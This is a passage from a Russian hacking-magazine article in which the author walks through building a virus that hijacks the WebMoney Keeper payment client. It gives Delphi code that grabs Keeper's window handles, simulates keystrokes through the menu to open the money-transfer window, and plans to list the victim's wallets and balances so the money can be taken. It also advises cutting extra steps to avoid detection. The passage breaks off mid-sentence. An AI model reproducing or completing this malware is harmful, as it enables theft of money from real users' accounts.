Уводим WebMoney SIR (sir-xaker@mail.ru) Хакер, номер #090, стр. 090-116-2 Определяем статус Keeper’а var buf:array[1..100] of char; ButtonWnd:array[1..20] of HWND; i:integer; ZeroMemory(@buf,sizeof(buf)); ButtonWnd[1]:=GetWindow(KeeperWnd,GW_CHILD); for i:=2 to 6 do ButtonWnd[i]:=GetWindow(ButtonWnd[i-1],GW_HWNDNEXT); repeat GetWindowText(ButtonWnd[6],@buf,SizeOf(buf)); until pos('Обновить данные',buf)<>0; Автор статьи от 2003-го года предлагает лазить по меню настройки программы WM и изменять параметры безопасности. Это лишнее. Во-первых, установленные настройки на работу вируса влиять абсолютно не будут. Во-вторых, главные настройки безопасности все равно не удастся изменить: разработчики учли этот недостаток и влепили подтверждение установленных изменений вводом трехзначного числа. И, в-третьих, это дополнительная трата времени работы вируса и лишнее палево. А мы для начала жмем на кнопку «Меню» и добираемся до пункта «В кошелек WebMoney…»: Пытаемся открыть окно перевода денег - "Передать WM" SendMessage(KeeperWnd,WM_SYSCOMMAND,SC_RESTORE,0); BringWindowToTop(KeeperWnd); SendMessage(ButtonWnd[5],WM_IME_KEYDOWN,VK_SPACE,0); SendMessage(ButtonWnd[5],WM_IME_KEYUP,VK_SPACE,0); for i:=1 to 8 do begin SendMessage(ButtonWnd[5],WM_IME_KEYDOWN,VK_DOWN,0); SendMessage(ButtonWnd[5],WM_IME_KEYUP,VK_DOWN,0); end; SendMessage(ButtonWnd[5],WM_IME_KEYDOWN,VK_RIGHT,0); SendMessage(ButtonWnd[5],WM_IME_KEYUP,VK_RIGHT,0); SendMessage(ButtonWnd[5],WM_IME_KEYDOWN,VK_DOWN,0); SendMessage(ButtonWnd[5],WM_IME_KEYUP,VK_DOWN,0); SendMessage(ButtonWnd[5],WM_IME_KEYDOWN,VK_RIGHT,0); SendMessage(ButtonWnd[5],WM_IME_KEYUP,VK_RIGHT,0); SendMessage(ButtonWnd[5],WM_IME_KEYDOWN,VK_RETURN,0); ButtonWnd[5] - это указатель на кнопку "Меню". Сначала мы выдвигаем окно Keeper'а на передний фон, затем жмем на кнопку и начинаем путешествовать по меню до нужного нам пункта. Снова получаю хэндл появившегося окна с помощью функции FindWindow и получаю хэндлы нужных мне полей ввода. Я опять, не усложняя себе жизнь, прогнал цикл for для получения нужных мне дочерних окон. В 3.0.0.0 версии WM многие кнопки поменяли свои места. Здесь я опишу достоверную их позицию. Находим хэндлы полей ввода, кнопок и других необходимых объектов var Transfer:HWND; TransWnd:array[1..40] of HWND; repeat Transfer:=FindWindow(nil,PChar('Передать WM')); until Transfer<>0; TransWnd[1]:=GetWindow(Transfer,GW_CHILD); for i:=2 to 37 do TransWnd[i]:=GetWindow(TransWnd[i-1],GW_HWNDNEXT); Соответствие номеров конкретным объектам смотри на рисунке. Далее мне была непонятна логика автора предыдущей статьи, ведь он сразу перешел к заполнению полей ввода суммы и типа своего кошелька. Во-первых, откуда он знает, сколько денег имеет юзер? $1000, $10, а может 0? Во-вторых, деньги, возможно, имеются не только в Z-кошельке, ведь еще есть R, U, E. В-третьих, не факт, что юзер использует только 4 кошелька. В WM, например, можно создать кучу дополнительных однотипных кошельков для одного WMID. Более того, в настройках по умолчанию можно поставить любой номер кошелька, поэтому не факт, что им по умолчанию будет только Z. Ввиду всего вышесказанного я буду создавать массив данных, где будут записаны все имеющиеся кошельки. Код смотри во врезке. Тут мы сначала переходим к самому первому кошельку, потом получаем его номер, тип и сумму на нем и добавляем всю информацию в массив. Затем переходим к следующему кошельку. После выполнения этого куска кода в переменной stop будет записано общее количество кошельков. (Кстати, неплохо бы еще раскидать по всему коду команды sleep(10), чтобы клиент успел обработать сообщения. - Прим. редактора). В этом коде есть одна тонкость, о которой следует рассказать отдельно. В русской версии Винды в качестве разделителя целой и дробной части числа используется запятая, а в кипере – точка. Из-за этого процедуры типа StrToFloat будут работать неправильно. Так что мы будем использовать TextToFloat, как показано, а где-то выше по коду нужно завести переменную format типа TFormatSettings и добавить строчки: |